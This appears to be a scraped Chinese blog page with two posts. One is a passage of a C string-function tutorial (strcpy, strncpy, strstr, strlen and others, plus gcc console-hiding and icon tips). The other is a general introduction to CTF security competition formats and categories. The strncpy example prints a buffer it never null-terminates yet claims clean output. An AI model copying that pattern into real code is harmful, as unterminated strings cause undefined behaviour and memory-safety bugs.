printf("ASCII value of first unmatched character of str1 is less than str2"); } else { printf("Both the strings str1 and str2 are equal"); } return 0; }输出:ASCII value of first unmatched character of str1 is less than str2strcpy函数strcpy()函数将一个字符串复制到另一个字符串char *strcpy(char *str1, const char *str2)str1 – 这是复制其他字符串str2的值的目标字符串。函数的第一个参数。str2 – 这是源字符串,该字符串的值被复制到目标字符串。这是函数的第二个参数。#include <stdio.h> #include <string.h> int main () { char str1[20]; char str2[20]; strcpy(str1, "Apple"); printf("String str1: %s\n", str1); strcpy(str2, "Banana"); printf("String str2: %s\n", str2); strcpy(str1, str2); printf("String str1: %s\n", str1); return 0; }输出: String str1: Apple String str2: Banana String str1: Bananastrncpy函数类似于strcpy()函数,不同之处在于它只从源字符串复制指定数量的字符到目标字符串。char *strncpy(char *str1, const char *str2, size_t n)str1 – 目标字符串。复制源字符串str2的前n个字符到其中的字符串。str2 – 源字符串n – 需要复制的源字符串的字符数。#include <stdio.h> #include <string.h> int main () { char str1[20]; char str2[25]; strcpy(str2, "welcome to beginnersbook.com"); strncpy(str1, str2, 7); printf("String str1: %s\n", str1); printf("String str2: %s\n", str2); return 0; }输出: String str1: welcome String str2: welcome to beginnersbook.comstrrchr函数给定字符串中搜索指定字符的最后一次出现。此函数与函数strchr()完全相反,后者在字符串中搜索字符的第一次出现。char *strrchr(const char *str, int ch)#include <stdio.h> #include <string.h> int main () { const char str[] = "This-is-just-a-test-string"; const char ch = '-'; char *p, *p2; p = strrchr(str, ch); printf("String starting from last occurrence of %c is: %s\n", ch, p); p2 = strrchr(str, 'i'); printf("String starting from last occurrence of 'i' is: %s\n", p2); return 0; }输出: String starting from last occurrence of - is: -string String starting from last occurrence of 'i' is: ingstrspn函数给定字符串中搜索指定的字符串,并返回给定字符串中匹配的字符数。size_t strspn(const char *str1, const char *str2)#include <stdio.h> #include <string.h> int main () { int len; const char str1[] = "abcdefgh"; const char str2[] = "abXXcdeZZh"; len = strspn(str1, str2); printf("Number of matched characters: %d\n", len ); return 0; }输出:Number of matched characters: 5strstr函数指定主字符串中搜索给定字符串,并返回指向给定字符串第一次出现的指针。str – 要搜索的字符串。searchString – 我们需要在其中搜索字符串str的字符串char *strstr(const char *str, const char *searchString)#include <stdio.h> #include <string.h> int main () { const char str[20] = "Hello, how are you?"; const char searchString[10] = "you"; char *result; result = strstr(str, searchString); printf("The substring starting from the given string: %s", result); return 0; }输出:The substring starting from the given string: you?strcspn函数在主字符串中扫描给定字符串,并返回主字符串中从开头到第一个匹配字符的字符数。str1 – 要搜索的主字符串str2 – 在主字符串中搜索此字符串的字符,直到找到第一个匹配的字符#include <stdio.h> #include <string.h> int main () { const char str[20] = "aabbccddeeff"; const char searchString[10] = "dxz"; int loc; loc = strcspn(str, searchString); printf("The first matched char in string str1 is at: %d", (loc+1)); return 0; }输出:The first matched char in string str1 is at: 7strlen函数返回给定字符串的长度(字符数)。size_t strlen(const char *str)str – 这是我们需要计算长度的给定字符串#include <stdio.h> #include <string.h> int main () { char str[50]; int length; strcpy(str, "Welcome to Beginnersbook.com"); length = strlen(str); printf("Length of string - %s is: %d", str, length); return 0; }输出:Length of string - Welcome to Beginnersbook.com is: 28隐藏DOS窗口gcc main.c -s -mwindows // 添加 mwindows 参数即可隐藏自定义图标生成 icon 资源文件:dot2 ICON "00.ico"00.ico和C源文件,demo.rc文件均在同一路径下,行如下命令生成资源文件:windres demo.rc demo.o执行成功后,会生成demo.o文件gcc -s main.c demo.o -o main.exe
2021年04月08日
96 阅读
0 评论
23 点赞
2021-01-05
【CTF解题】CTF入门介绍 ( 基本了解 )
CTF赛制概述CTF(Capture The Flag)是网络安全领域的技术竞技比赛,起源于1996年DEFCON大会,现已成为全球范围内广泛举行的比赛形式。赛题类型涵盖不同的网络安全技术领域,以下是常见的赛制模式及赛题分类:1. Jeopardy-解题模式概述:参赛队伍通过解题获得分数,题目多为网络安全技术挑战。类似ACM编程竞赛,通过解题积累分数,并可能根据时间和得分排名。常见规则:包括“First Blood”(首解)奖励、题目分值动态调整(即解答人数越多,分值越低)。2. AWD-攻防模式概述:参赛队伍不仅要防守自己的系统(GameBox),还需要攻击对方的系统。通过防御和攻击操作获取分数。特点:比赛持续24-48小时,涉及实时攻防对抗,要求参赛队员具有较强的技术与协作能力。3. AWP-攻防增强模式概述:结合攻击与防御,选手攻击一次、修复一次即可完成题目。与AWD相比,选手无需持续维护环境,减少了硬件与运维负担。特点:简化了攻击和防御操作,更注重选手的效率。4. RHG-自动化攻防概述:通过编写自动化程序(bot)进行漏洞挖掘与攻击。选手提交的bot会全自动进行任务,无需人工干预。特点:强调自动化与工程化能力,比赛过程全程自动化运行。5. RW-真实世界模式概述:模拟真实的渗透测试环境,选手需要在真实环境中挖掘漏洞并攻击。比赛时,选手需要展示攻击成果,现场验证攻击效果。特点:与实际工作中渗透测试更为贴近,强调实战能力。6. KoH-抢占山头模式概述:选手通过挖掘漏洞控制目标系统,并进行加固防御,防止其他队伍入侵。定期检查系统标识文件,根据文件标识判定得分。特点:结合渗透攻击与防御加固,强调持续控制与防护能力。7. Mix-混合模式概述:结合多种模式进行比赛,例如解题和攻防模式并行,提升比赛的多样性与挑战性。特点:为参赛队伍提供更多的题型和模式,适应不同的技术需求。CTF赛题分类Web 渗透测试特点:利用 Web 应用漏洞获取敏感信息或控制权限。常见漏洞有 SQL 注入、XSS、命令注入等。工具:Burp Suite、SQLmap 等。Crypto 密码学特点:破解加密算法或编码技术。涉及经典密码、加密算法漏洞分析等。工具:CyberChef、Hashcat 等。Pwn 二进制漏洞利用特点:通过利用二进制漏洞进行攻击,常见如缓冲区溢出、格式化字符串漏洞等。工具:GDB、Pwntools、IDA Pro 等。Reverse 逆向工程特点:通过静态与动态分析程序代码,理解其功能并发现漏洞。工具:IDA Pro、OllyDbg、Ghidra 等。Misc 杂项特点:包括取证、隐写等不容易归类到其他类型的题目。工具:ExifTool、Steghide 等。CTF二次元版
2021年01月05日
36 阅读
0 评论
7 点赞
1
...
3
4
5
0:00